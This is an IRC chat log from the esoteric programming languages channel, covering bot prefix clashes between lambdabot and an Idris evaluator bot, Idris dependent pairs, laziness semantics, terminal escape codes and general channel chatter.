15:32:19 <ais523> > the (1=1) (proof {trivial;})
15:32:20 <lambdabot> <hint>:1:7: parse error on input `='
15:32:34 <ais523> bleh, I should have realised that would happen
15:32:39 <ais523> and did, but not before I stopped pressing return
15:32:44 <ais523> > the (Z=Z) (proof {trivial;})
15:32:45 <idris-ircslave> Please consider reporting at https://github.com/idris-lang/Idris-dev/issues
15:32:45 <lambdabot> <hint>:1:7: parse error on input `='
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15:32:55 <ais523> OK, /that/ should have worked :-)
15:33:08 <lambdabot> Not in scope: `the'Not in scope: data constructor `Fin'
15:33:09 <lambdabot> Perhaps you meant `Fini' (imported from Lambdabot.Plugin.Haskell.Eval.Trusted)
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15:33:44 <lambdabot> <hint>:1:10: parse error on input `='
15:33:55 <lambdabot> <hint>:1:7: parse error on input `='
15:34:06 <elliott_> this idris-ircslave/lambdabot spam is just horrible
15:34:26 <ais523> yeah, but we can't exactly move the bots into another channel, unless they have autorejoin set
15:34:36 <ais523> we could possibly persuade idris-ircslave to change prefix?
15:34:54 <ais523> also, lamabdabot has a race condiiton
15:35:46 <ais523> but yeah, "the (Z=Z) (proof {trivial;})" should be a synonym for "the (Z=Z) (refl)"
15:35:53 <Melvar> Hmm, the guys in #idris are used to using > for it.
15:36:09 <ais523> because proof {trivial;} attempts to use refl if possible
15:36:25 <ais523> yeah, we need some sort of bot namespacing by channel
15:36:47 <elliott_> Melvar: per-channel configuration not easy?
15:37:07 <elliott_> is there any way to address it directly?
15:37:07 <Melvar> Currently, there is no configuration at all.
15:37:16 <elliott_> well, okay, per-channel prefix :)
15:37:54 <elliott_> I guess there is no way to do it without batching one bot, even with my lambdabot admin access
15:38:23 <Melvar> Let me just do a few things, and then add a prefix so we can at least work around it.
15:38:52 <ais523> so at least lambdabot has an alternative prefix
15:39:02 <ais523> I guess we could always use the thutubot workaround
15:39:43 <ais523> (in case you don't know what happened: thutubot's written in Thutu, a pretty primitive language; thutubot has an Underload evaluator written in Thutu, so I added a Haskell impl as a joke, which worked via PMing lambdabot)
15:41:56 <lambdabot> Not in scope: data constructor `Integer'
15:42:03 <oerjan> hmph, indeed no annotation
15:43:11 <idris-ircslave> Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil
15:43:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bot: not found
15:43:50 <oerjan> what are you trying to do.
15:44:07 <Jafet> Hmm, that must be the only "fungot" line that fungot does not reply to.
15:44:07 <fungot> Jafet: i get to go. surrender, and we all know things i would be as another sword arm this deadly but well-hidden booby trap, goblin friend, and she won't give that stern paladin look to my eviscerated remains of a dragon are indistinguishable from the real belkar and i are a bit too.
15:44:24 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot !
15:44:58 <oerjan> Melvar: i _greatly_ recommend ( hth
15:46:01 <ais523> yeah, it make sense to make it the opposite of jconn, really
15:46:12 <oerjan> ais523: there's another reason too
15:46:13 <ais523> the sad part is we didn't come up with an interesting Idris/Haskell polyglot before the fix
15:46:46 <oerjan> it will make me _finally_ be able to use ^ul instead of ^bf for fungot's ^prefixes command :P
15:46:47 <fungot> oerjan: my master as the new lord. everyone in this room is now eyeing you illusory belkar and i are a bit, and if the big boot goes my way! where are you, haley, that thing almost ate me too!
15:47:02 <ais523> oerjan: haha, I was wondering if it was something to do with balancing parens
15:47:11 <ais523> also we should have > listed in ^prefixes
15:47:12 <Melvar> ais523: It’s still going to accept > because #idris knows it that way.
15:47:27 <ais523> it shouldn't be changed for #idris
15:47:38 <ais523> except, maybe, if you feel the need to invite lambdabot in over there to evaluate some Haskell
15:48:04 <lambdabot> Data.Foldable asum :: (Foldable t, Alternative f) => t (f a) -> f a
15:48:18 <elliott_> Melvar: can't it just ignore > in #esoteric?
15:50:26 <Melvar> elliott_: It could, but I’m quite uncomfortable with hardcoding that in.
15:50:50 <ais523> really IRC needs some sort of properly namespaced bot framework, where channels can configure bot prefixes themselves
15:50:53 <elliott_> hardcore it listening to > in #idris? :)
15:51:16 <ais523> or maybe some sort of complex ban, where you can prevent specific users seeing lines that match specific regexes
15:51:50 <ais523> that'd also let you do things like [no-glogbot-log] or whatever it was, opside
15:52:11 <elliott_> ais523: it's called "bot: command"
15:52:23 <ais523> that's just convention
15:52:27 <elliott_> no it's an extremely advanced namespace framework
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15:52:39 <ais523> and not a particularly widely used convention either
15:52:53 <ais523> EgoBot: c printf "Hello, world!"
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15:53:05 <fungot> ais523: so, " shojo brain big," what's next?" heh, " fatty" last?
15:53:17 <elliott_> ais523: and your properly namespaced bot framework would be widely-used?
15:53:23 <ais523> that is not the program I asked you to run, young bot!
15:53:25 <elliott_> one more bot uses my scheme than uses yours in here
15:53:33 <ais523> elliott_: no, I meant as part of the ircd
15:53:42 <ais523> like, getting the ircd to translate bot prefixes on the fly
15:53:46 <ais523> according to rules set up per-channel
15:54:02 <ais523> then every bot uses it automatically
15:54:06 <oerjan> lambdabot: @run "You can do it, right?"
15:56:13 <Melvar> I believe that will do for now.
15:58:27 <Jafet> What about bot suffixes \o/
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16:01:39 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot !
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16:02:29 <oerjan> ^def prefixes ul (Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !)S
16:02:31 -!- idris-ircslave has joined.
16:02:33 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
16:03:20 <oerjan> `run sed -i 's/, jconn/, idris-ircslave ( , jconn/' bin/prefixes
16:03:27 <HackEgo> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
16:03:31 -!- tromp_ has quit (Ping timeout: 264 seconds).
16:03:44 <EgoBot> sh echo 'Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot !'
16:03:55 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
16:04:05 <oerjan> !deluserinterp prefixes
16:04:20 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
16:04:26 <EgoBot> Interpreter prefixes deleted.
16:04:57 <oerjan> !addinterp prefixes sh echo 'Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !'
16:04:57 <fungot> oerjan: if the power, as duly noted. i've been up on the mountain
16:04:58 <EgoBot> Interpreter prefixes installed.
16:05:08 <EgoBot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
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16:08:49 <Melvar> oerjan: Also did you see I added “idris-ircslave: ” as a prefix for it?
16:09:20 <Melvar> On that note, has anyone asked about the name yet?
16:10:57 <Melvar> The reasoning was that it uses “idris --ideslave”, but connects it to IRC rather than an IDE.
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16:17:36 <quintopia> Melvar: it didn't need explanation. all bots are slaves.
16:19:29 <Melvar> (I’m actually fairly sure someone once complained about the “slave” in the name.)
16:20:32 <quintopia> it's actually more of a slave than most bots: you can't even feed it
16:24:31 <Melvar> I’m probably going to have to turn it into a proper bot with commands and matchers and stuff some time …
16:25:07 <Melvar> And ( just works like > ; it will only interpret, it does nothing else.
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17:15:56 <int-e> @botsnack idris-ircslave ... I wonder if I should implement that.
17:16:50 <ais523> how would lambdabot give snacks to other bots?
17:18:07 * int-e feeds idris-ircslave a sandwich.
17:18:13 <int-e> something like that ;)
17:19:36 <int-e> (you can get creative when it comes to food. it could be an OSI sandwich, for example.
17:20:19 * Melvar composes a good botsnack response for idris-ircslave. Not going to put it in just now, though.
17:20:30 <int-e> (Help! I"m stuck between OSI layers 2 and 3!)
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17:41:24 <ski> fsbot uses `,' ?
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18:33:19 <c031n6> i want to join a esoteric language community......can anyone help ?
18:34:23 <FireFly> I mean, this channel is some sort of esoterig language community
18:34:34 <HackEgo> c031n6: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
18:35:25 <fizzie> Programming language, though. Not just language in general.
18:35:38 <ais523> I think this /is/ the main community, but it spends a lot of time offtopic
18:35:43 <ais523> the other esolang communities I know of have all died
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18:36:11 <augur> c031n6: what do you mean "join"
18:36:31 <fizzie> ais523: There was an esolang mailing list message just the other day, in 2012.
18:36:51 <ais523> 2012 is "just the other day"?
18:37:01 <ais523> also I'm pretty sure someone posted on alt.lang.intercal some time in the last several years
18:37:02 <c031n6> anyone here to help me out developing a esoteric lang which would give me an edge in developing a much proper prog'g lang pls
18:37:25 <ais523> hmm, you want to practice on esolangs in order to move onto more serious compiling? that makes a lot of sense
18:37:27 <quintopia> this isn't an esolang development "help" channel i think
18:37:36 <ais523> just it hasn't been used for that in years
18:37:50 <ais523> it used to be used like that all the time, though
18:38:06 <ais523> c031n6: I'd suggest trying to create something with a proper type system of some sot
18:38:22 <ais523> most serious compiled languages need to be able to handle that
18:38:31 <ais523> and even interpreted languages tend to be horribly slow without it
18:38:43 <augur> c031n6: i dont think esolangs are a good stepping stone to a proper language
18:39:12 <ais523> augur: I'm not certain
18:39:22 <ais523> much of the initial work I did on Anarchy ended up relevant to my PhD
18:39:35 <ais523> and the compiler development practice definitely helped
18:39:57 <ais523> like, knowing how to write a parser (even if it's just via yacc) is really helpful, and the general ideas of AST traversal
18:40:07 <ais523> now, you can write interps/compilers for many esolangs without worrying about that stuff
18:40:24 <c031n6> thnx and a more easier way to master writing compilers than following books ?
18:40:40 <ais523> but, you can work on something that needs it
18:40:58 <ais523> c031n6: I'd say working on optimizers (within an existing compiler) can be good practice for writing compilers
18:41:12 <ais523> it forces you to think in the right sort of way, working out how much information you can track about the program
18:41:21 <ais523> and if there's an existing compiler, much of the work has been done for oyu
18:42:01 <ais523> so long as it's more complex than a textual substitution BF compiler
18:42:08 <quintopia> which is a sort of compiler where you decide the source language on the fly
18:42:12 <ais523> hmm, what are good esolangs to start with when writing compilers
18:42:27 <ais523> Underload, perhaps; that's moderately difficult to compile
18:42:36 <ais523> quintopia: I mean compiling from
18:42:47 <ais523> it's theoretically impossible to compile Perl via any method than bundling an interp
18:42:54 <ais523> also it's a very large language
18:43:00 <ais523> *any method other than
18:43:08 <quintopia> very good practice at compiler building there
18:43:24 <ais523> quintopia: practice normally implies being easier than the real thing
18:43:47 <quintopia> but just by being here we've proved we're not normal
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18:44:53 <ais523> gah, I hate this, an opportunity for the channel to be ontopic, and you're basically just acting like you'd prefer it to be offtopic
18:45:33 <ais523> sometimes I really wonder why I stay here
18:49:19 <quintopia> sorry i'm not srs enough. but i do like the channel the way it usually is.
18:49:40 <ais523> it's basically just a social channel
18:50:00 <ais523> like, a few years back
18:50:05 <ais523> you'd have conversations about Befunge that lasted /weeks/
18:54:18 <int-e> I just realized that the bfjoust fad seems to be over.
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18:55:55 <ais523> int-e: it's not fully over, but it's definitely slowed
18:56:06 <ais523> I got frustrated by preparation beating every program and still not getting #1 on the hill
18:56:26 <ais523> so gave it a break for a while
18:56:34 <ais523> if I can get it, or another program, to #1, then interest will spark up again
18:56:36 <ais523> but I've been really busy
18:59:03 <quintopia> you stay here for those few lucid moments when things get interesting. you never know when they'll come
19:00:49 <kmc> that sounds like life
19:01:38 <int-e> waiting for lucid moments? mmm
19:05:14 <quintopia> i get the feeling this place would be as boring as ##cs is most of the time were there a requirement to stay on topic
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19:13:26 <fizzie> It certainly would give me less data to draw plots with.
19:16:21 <int-e> we'd also have to ban fungot.
19:16:21 <fungot> int-e: so, the lives of any hobgoblins to their death on the mountain
19:17:42 <ais523> fungot is ontopic, though
19:17:42 <fungot> ais523: the, uh, i just need to keep the theme going. a classic i like, and you may end.
19:17:45 <ais523> being written in an esolang
19:18:31 <quintopia> fungot rarely says things that are on-topic
19:18:31 <fungot> quintopia: " i want, he could be the king here and there, that ought to be good.
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19:21:22 <ais523> anyone have a J/Idris polyglot handy? :-)
19:24:14 <ais523> now, that's an interesting idea
19:24:19 <ais523> automatic polyglot generator
19:24:35 <ais523> although it'd probably exploit comment syntax differences, that's the normal way to make really large polyglots
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19:25:54 <fizzie> Somehow that sounds really familiar, but I can't find anything related. (Possibly I'm just thinking of some particular polyglot that had used some semi-automatic generation.)
19:26:02 <ais523> automatic ouroboros generators are probably easier
19:26:19 <quintopia> what's the largest comment-less polyglot extant?
19:26:39 <ais523> hmm, interesting question
19:26:47 <ais523> do you consider things like putting most of the program into a string literal as commenting?
19:27:16 <quintopia> seeing as how 90% of languages use the same syntax for strings...
19:27:40 <ais523> q< anything inside these angle brackets won't be seen by Perl... >
19:28:38 <fizzie> Awib is a polyglot, and a large(ish, relatively speaking) program, but very comment-based.
19:28:49 <ais523> oh, I didn't realise awib was a polyglot
19:28:51 <ais523> what's the other language?
19:29:07 <ais523> maybe I should just read it
19:29:30 <fizzie> It's a brainfuck-C-bash-Tcl polyglot.
19:30:10 <ais523> hmm, awib's definition of esolangs is quite interesting
19:30:12 <fizzie> But all four parts are quite separate blocks, and use comment tricks for isolation.
19:30:39 <ais523> "An esoteric programming language is a language not only ill-suited for serious software development, but actually designed with this characteristic in mind."
19:31:06 <ais523> I would ask why, but I guess there isn't really a reason
19:31:22 <ais523> nor does there really have to be
19:31:26 <ais523> (wrt the polyglotting, I mean)
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21:27:19 <int-e> ais523: So that makes Haskell an esoteric programming language in spirit? ("Avoid success at all cost", of course ultimately it's a failure.)
21:28:01 <int-e> I'm not sure what "serious" software development is.
21:28:08 <ais523> int-e: I thought the parens went around "success at all cost"
21:28:43 <int-e> ais523: you could be right, I have not considered that possibility.
21:29:08 <ais523> I don't think Haskell can really be an esolang just because it was a (successful in that respect!) attempt to unify all the independent attempts to create lazy pure functional languages that were springing up at the time
21:29:22 <ais523> and, well, lazy functional languages were pretty eso once (just look at Unlambda)
21:29:38 <ais523> but with enough persistence trying to make them work, they eventually did
21:30:06 <int-e> to make that perfectly clear, I do not consider Haskell to be an esoteric programming language. I'm just wondering whether the proposed definition stretches far enough to include it.
21:31:14 <ais523> well, my working definition of an esoteric language is "a language for which it there would be no point in trying to make an ecosystem of libraries"
21:31:19 <ais523> it works quite well, apart from Funge-98
21:32:17 <fizzie> It's not that far of for Funge-98, since while there is an ecosystem of libraries, the point is debatable. (Though it certainly makes up a large part of the Funge-98 Experience, so maybe that counts.)
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22:37:04 <oerjan> <ais523> and, well, lazy functional languages were pretty eso once (just look at Unlambda) <-- unlambda isn't really lazy. even the d operator doesn't actually cache any result.
22:37:18 <ais523> oh right, I was confused
22:37:24 <ais523> but you don't need caching to be lazy
22:37:40 <ais523> in fact, one of the largest reasons for laziness – that you can't store values of the type in question – prevents caching
22:38:21 <oerjan> if you're not caching the result then you are reevaluating it every time, which isn't a very lazy thing to do (and essentially call-by-name, although unlambda has no names)
22:39:07 <oerjan> that is, functionally laziness is an optimization of call-by-name
22:39:35 <ais523> oh, I treat call-by-name as lazy
22:39:47 <ais523> my definition of "lazy" is "function arguments might not be evaluated even if the function's result is used"
22:39:52 <boily> hellørjan. ais523ello.
22:41:02 <oerjan> ais523: the more general term is non-strict
22:41:28 <oerjan> that covers all the implementations with the same pure semantic result as laziness and call-by-name
22:41:53 <oerjan> of course side effects mess things up
22:41:57 <ais523> is there a difference between "lazy" and "call-by-need" with your definition?
22:42:20 <ais523> because if not, I think my definition's more useful
22:43:09 <elliott_> call-by-name means call-by-name
22:43:35 <oerjan> (A rand-om observation)
22:44:46 * boily wonders what an om is, and why it is randing...
22:45:26 <ais523> elliott_: is that you agreeing with oerjan?
22:45:44 <ais523> I don't really like it because call-by-need is so semantically ugly
22:46:07 <ais523> even parallel call-by-need is better
22:46:08 <elliott_> that's why laziness is an implementation detail
22:46:27 <ais523> well, there are definitely impure call-by-name languages
22:50:51 <oerjan> boily: an om is an objectivist mastermind hth
22:53:19 <boily> oerjan: td partially h. I still haven't grasped all the nuances of objectivism.
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22:54:20 <HackEgo> vravn: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
22:54:37 <oerjan> boily: i am quite suspecting that nobody has.
22:55:14 <vravn> Thanks for the welcome
22:55:38 <boily> oerjan: oh well. my main concern of the moment is a sudden panic caused by a lack of haskell in my recent life.
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22:58:48 <boily> I keep trying to functionalise the Java I produce during the day.
22:59:54 <oerjan> @run fix$(0:).(<**>[id,xor 1]).tail
23:00:07 <oerjan> hm that didn't work well.
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23:00:38 <boily> ~eval fix $ (0:) . (<**> [id, xor 1]) . tail
23:00:52 <oerjan> @run fix$(0:).(<**>[id,xor 1]).tail
23:00:56 <boily> ~eval fix $ (0:) . (<**> [id, xor 1]) . tail
23:01:06 <oerjan> :t fix$(0:).(<**>[id,xor 1]).tail
23:01:19 <boily> ah. of course an error 127. I'm not running the cuttle from the same machine as before...
23:01:32 <oerjan> @run fix$(0:).tail.(<**>[id,xor 1])
23:01:33 <lambdabot> [0,1,1,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1...
23:02:50 <oerjan> boily: are you telling me you _left_ a job where you could do haskell? surely you have no one but yourself to blame.
23:04:06 <oerjan> oh dear did i break him
23:04:38 <boily> I could do Haskell in my free time. now I can't. I drown my sorrows in games of Magic during lunchtime.
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23:05:14 <boily> (also, having two friends move from Québec City over to Montréal)
23:05:31 <oerjan> wait, is this due to lack of free time, or draconian work policies?
23:05:57 <boily> complete lack of free time. besides, the new job is fun, challenging and interesting.
23:06:15 <oerjan> YOU ARE MAKING NO SENSE HTH
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23:13:06 <boily> as I was saying before I realized I was horrendously lagging...
23:13:16 <boily> <oerjan> YOU ARE MAKING NO SENSE HTH ← I KNOW TWNH
23:13:56 <oerjan> vravn: YOU ARE REVEALED
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23:15:11 <oerjan> clearly someone is hiding something here
23:15:25 <boily> ienia ienia cthulhu fhtagn?
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23:18:34 <oerjan> ok i admit i'm brewing on something. or trying to, anyway.
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23:19:42 <Taneb> Anyone here built a physical approximation to a Turing machine
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23:19:55 <Taneb> And willing to share advice for someone wanting to do it?>
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23:45:09 <ion> http://i.imgur.com/ruxIrOf.jpg
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23:46:52 <Taneb> ion, have you ever made an approximate Turing machine?
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23:48:05 <oerjan> fungot, have you ever made an approximate Turing machine?
23:48:05 <fungot> oerjan: a little too much to heart, really... i almost just got killed here, as instructed the orcs and told me what needed. is that true, vaarsuvius, you don't understand, i just need to keep that a secret!
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23:48:59 <ion> taneb: No. Also what fungot said.
23:48:59 <fungot> ion: wow, that is such a stupid magic item that can allow any bandit that defeated
23:50:14 <Taneb> Some of my friends at uni and I are going to try
23:52:44 <Taneb> Anyway I'm going to sleep now
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00:24:30 <FreeFull> ion: Dreamweaver does that with .cs files
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00:45:37 <boily> joyeux a-pi-versaire!
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01:20:01 * oerjan staws Effilry -#--##--
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01:31:48 <boily> oerjan: staws? is that like a Norwegian Mapole?
01:33:25 <oerjan> no, that would be stav
01:34:43 <shachaf> what sort of bizarre rettaws is that
01:35:17 <oerjan> https://en.wiktionary.org/wiki/stav#Swedish in lack of a norwegian version
01:35:46 <oerjan> you might note that Effilry is isomorphic to FireFly hth
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01:39:29 * boily is suddenlilluminated
01:39:50 <boily> (or is it suddenlightened?)
01:40:26 <shachaf> oerjan: i didn't look at it long enough to see that it wasn't just reversed
01:40:48 <shachaf> it would only have taken one letter to see that
01:41:03 <shachaf> almost any letter would have worked
01:41:20 <boily> but still. it's a very weird rettaws, much like a klingon weapon.
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02:24:31 <kmc> i wonder if there are compilers that will take state machine code like while(1) { switch (state) { ... } } and allocate 'state' in the instruction pointer register, so to speak
02:24:57 <kmc> that is, turn the assignments to 'state' into jumps
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02:51:07 <kmc> print!(" \x1b[36m{:s}\x1b[0m='\x1b[34m{:s}\x1b[0m'", attr.name, attr.value);
02:52:04 <kmc> there are a lot of different languages packed into that one line of code
02:58:31 <Bike> today i tried to invoke a shell on windows through matlab and i think it gave me VT100 control codes
02:58:34 <Bike> a disheartening experience
02:58:44 <Bike> that looked a lot like that string >_>
02:59:04 <kmc> those are VT100 control codes, or ECMA-48 codes anyway
02:59:12 <kmc> I don't remember if the actual VT100 had color, probably not
02:59:37 <Bike> oh. lol i was just shallowly seeing unclosed square brackets
03:00:03 <kmc> it's a good tip-off
03:01:03 <pikhq> ECMA-48 apparently predates the VT100.
03:01:12 <kmc> but not the latest edition, which is from 1991
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03:01:46 <pikhq> Ah sweet, I found the VT100 manual.
03:01:46 <kmc> god bless you ECMA, for making your standards free online and not trying to wring me for every last CHF like those ISO bastards
03:01:57 <kmc> SIPB owns an actual VT100, or is it a VT220
03:02:08 <kmc> they had it hooked up to a Raspberry Pi, which fit easily within the case
03:02:10 <kmc> it was cute
03:02:37 <kmc> Bike: the two-byte sequenc \x1b [ (i.e. ESCAPE [, i.e. ^[ [) is the Control Sequence Introducer, which begins many of the most important commands
03:02:53 <Bike> i think it printed as like... ~V[ or something
03:03:29 <pikhq> It seems that it did not *support* color, but the VT100 ignores unknown character attributes.
03:03:35 <Bike> in the end i figured out i could in fact invoke programs directly and just did that and everything went away. huzzah.
03:03:46 <kmc> or rather, it's the 7-bit ASCII representation of CSI. you can also use the character 'CONTROL SEQUENCE INTRODUCER' (U+009B) from the ISO 2022's C1 control code section
03:03:51 <kmc> but mostly people don't
03:03:58 <pikhq> So on a VT100 you don't get color *display*, but the color codes work just fine.
03:04:02 <pikhq> (i.e. "do nothing")
03:04:24 <kmc> presumably on a UTF-8 terminal you would have to write 0xC2 0x9B anyway...
03:05:51 <pikhq> Thankfully all the character attributes are parameters to \
03:06:18 <pikhq> Which means that it's actually quite simple for a terminal to no-op support the colors.
03:06:25 <pikhq> And apparently the VT100 did just that.
03:06:26 <Bike> oh as long as i'm complaining i found out that cmd.exe is pretty much terrible
03:06:43 <kmc> Bike: yes. you want a better shell (like MSYS bash) and a better terminal emulator (like Mintty)
03:06:58 <Bike> i invoked a program by quoting the path and it reported the program as having the quote character in it
03:07:25 <Bike> bash i have, but not a better tty. hoooopefully i won't be using shell enough to want that, but
03:07:27 <kmc> pikhq: I think it's odd that the character telling you what the command is comes at the end, but I suppose it makes sense in an implementation where you're storing to registers as arguments come in, and then you execute
03:07:33 <kmc> which might be how the hardware worked
03:07:51 <Bike> of course, msys doesn't have man pages :( oh well
03:09:09 <Bike> also: does anyone know what the hell git rev-parse is
03:10:08 <Bike> "A similar notation r1...r2 is called symmetric difference of r1 and r2 and is defined as r1 r2 --not $(git merge-base --all r1 r2). " pretty sure i'm out of my league here
03:10:47 <Bike> "Note that .. would mean HEAD..HEAD which is an empty range that is both reachable and unreachable from HEAD."
03:10:49 <kmc> Bike: it describes the syntax you can use to name git objects, mainly commits
03:11:15 <kmc> the actual rev-parse command is meant for use from scripts
03:11:26 <kmc> but many of the user-facing commands accept the same syntax
03:11:33 <Bike> getting the last commit object was both easier (since it's just "git rev-parse HEAD") and harder (since i have no idea wtf) than i thought it would be
03:11:37 <kmc> (because they are shell scripts that invoke rev-parse, or they used to be)
03:13:58 <Bike> maybe someday i will have a job where i have to learn git because everyone else uses it instead of just me
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05:35:30 <kmc> `relcome limitless23
05:35:32 <HackEgo> limitless23: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
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06:02:36 <Sgeo_> > let welcome = "Hi" in welcome
06:03:03 <Sgeo_> I'm sure there's some way to make idris-ircslave be more colorful
06:03:59 <Sgeo_> > the (t : Type ** t) (String ** "Hello")
06:04:01 <lambdabot> Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c...
06:07:22 <Sgeo_> > the (t1 ** t1) ((t3 ** t3) ** (the (t2 ** t2) (String ** "Hello")))
06:07:24 <lambdabot> Not in scope: `the'Not in scope: `t1'
06:07:24 <lambdabot> `t' (imported from Debug.SimpleReflect),
06:07:24 <lambdabot> `to' (imported from Control.Lens),
06:07:24 <lambdabot> `_1' (imported from Control.Lens)Not in scope: `t1'
06:08:13 <kmc> I really like that both bots respond
06:08:27 <kmc> also I wish lambdabot would come back to ##crypto
06:08:58 <Sgeo_> I can add a spalsh of green
06:09:00 <Sgeo_> > :t the (t1 ** t1) ((t3 ** t3) ** (the (t2 ** t2) (String ** "Hello")))
06:09:00 <idris-ircslave> the (t1 ** t1) ((t3 ** t3) ** the (t2 ** t2) (String ** "Hello")) : (t1 ** t1)
06:09:02 <lambdabot> <hint>:1:1: parse error on input `:'
06:09:37 <Sgeo_> Melvar: What colors am I missing?
06:10:09 <kmc> is ** a tuple constructor?
06:10:16 <Sgeo_> It's a dependent pair constructor
06:10:26 <Sgeo_> Well, not an actual constructor, it's syntax sugar
06:10:37 <lambdabot> <hint>:1:1: parse error on input `:'
06:10:43 <lambdabot> <hint>:1:1: parse error on input `:'
06:11:10 <Sgeo_> The typical example is
06:11:49 <Sgeo_> > the (n : Nat ** Vect n String) (5, ["a", "b", "c", "d", "e"])
06:11:50 <lambdabot> Not in scope: `the'Not in scope: data constructor `Nat'Not in scope: data co...
06:12:05 <Sgeo_> > the (n : Nat ** Vect n String) (5 ** ["a", "b", "c", "d", "e"])
06:12:05 <idris-ircslave> (5 ** ["a", "b", "c", "d", "e"]) : (n ** Vect n String)
06:12:06 <lambdabot> Not in scope: `the'Not in scope: data constructor `Nat'Not in scope: data co...
06:12:46 <Sgeo_> I don't fully understand the implications of when this is useful, but apparently filtering vects returns a dependent tuple instead of just a resulting vector
06:13:10 <Sgeo_> I guess when you want a component of the type to be readable at runtime?
06:15:42 <kmc> and what's "the"?
06:15:46 <shachaf> i've played three games over the past few days. i think i haven't played any others in over a year
06:15:52 <Sgeo_> https://github.com/idris-lang/Idris-dev/blob/master/libs/prelude/Prelude/Vect.idr#L285
06:15:55 <shachaf> the is like id with an explicit type argument
06:16:01 <shachaf> it's used kind of like :: in haskell
06:16:13 <shachaf> the : (a : Type) -> a -> a
06:17:00 <Sgeo_> I saw someone use the infix earlier. Int `the` 5 kind of reads backwards
06:18:00 <kmc> (p ** Vect p a) gets inferred to (p : Nat ** Vect p a) ?
06:20:50 <Sgeo_> Hmm, I don't see examples in the Vect prelude lib, but... maybe you could pattern match on the first part of it to know what you can do with the second?
06:21:18 <kmc> makes sense
06:21:34 <fizzie> Conan `the` "Barbarian"
06:22:05 <kmc> one thing I find hard about dependent language syntax is that there's usually a way to leave off either side of (x : t) and it's hard to keep them straight even if I theoreticall understand what's going on
06:26:43 <kmc> "Hello Sir/Madam, I'm Thomas Clark and I'll like to purchase Propane"
06:26:56 <kmc> i get some weird spam
06:27:39 <Bike> hello kmc, i would like to purchase n-decane to go with my chain link fences,
06:30:03 <fizzie> I got spam for Computeroxy -- "an academic website exclusively dedicated to academic careers in schools of electrical and electronic engineering and computer science in Europe, Oceania and the Middle East" -- the other day.
06:30:17 <fizzie> "I found this academic website interesting and I think you would enjoy it too."
06:30:54 <fizzie> Yeah, I'm sure you thought about me personally, "Mark, Lecturer in Computer Science", the guy sending mail to "undisclosed-recipients:;".
06:34:58 <Sgeo_> "This product is property of Lenovo and may not be distributed outside Lenovo"
06:35:12 <Sgeo_> Came with my Lenovo laptop
06:36:43 <kmc> what is it?
06:36:49 <kmc> the product i mean
06:37:56 <Sgeo_> Some VBScript to... do something
06:38:12 <Sgeo_> Not entirely sure what. Something to do with setting up a user guide on Metro, I think
06:38:23 <Sgeo_> "Installing user guide for Support Metro app on Windows 8"
06:43:15 * Sgeo_ 's brain breaks a bit
06:43:16 <Sgeo_> > let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("a" ** "foo")
06:43:16 <idris-ircslave> ("a" ** "foo") : (a ** boolElim (intToBool (prim__eqString a "a")) (Delay String) (Delay Int))
06:43:17 <lambdabot> <hint>:1:13: parse error on input `=>'
06:45:15 <Sgeo_> > let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("a" ** 5)
06:45:15 <idris-ircslave> Can't resolve type class Num (boolElim (intToBool (prim__eqString "a" "a")) (Delay String) (Delay Int))
06:45:16 <lambdabot> <hint>:1:13: parse error on input `=>'
06:45:33 <Sgeo_> > let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("b" ** 5)
06:45:33 <idris-ircslave> ("b" ** 5) : (a ** boolElim (intToBool (prim__eqString a "a")) (Delay String) (Delay Int))
06:45:34 <lambdabot> <hint>:1:13: parse error on input `=>'
06:45:42 <Sgeo_> > let f = (\x => if x == "a" then String else Int) in the (a : String ** f a) ("b" ** "5")
06:45:43 <idris-ircslave> (\a => boolElim (intToBool (prim__eqString a "a")) (Delay String) (Delay Int)) "b"
06:45:43 <lambdabot> <hint>:1:13: parse error on input `=>'
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06:46:06 <Sgeo_> Slereahphone: you just missed the fun
06:54:35 <kmc> we put the fun in dependently-typed functional programming
07:01:18 <luserdroog> translated the Lukasiewicz logic interpreter to C. https://gist.github.com/luser-dr00g/9542998
07:02:25 <lambdabot> Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c...
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07:21:06 <fizzie> Is the type type the typest of the types?
07:21:58 <Sgeo_> Idris has a cumulative universe thingy and then hides it
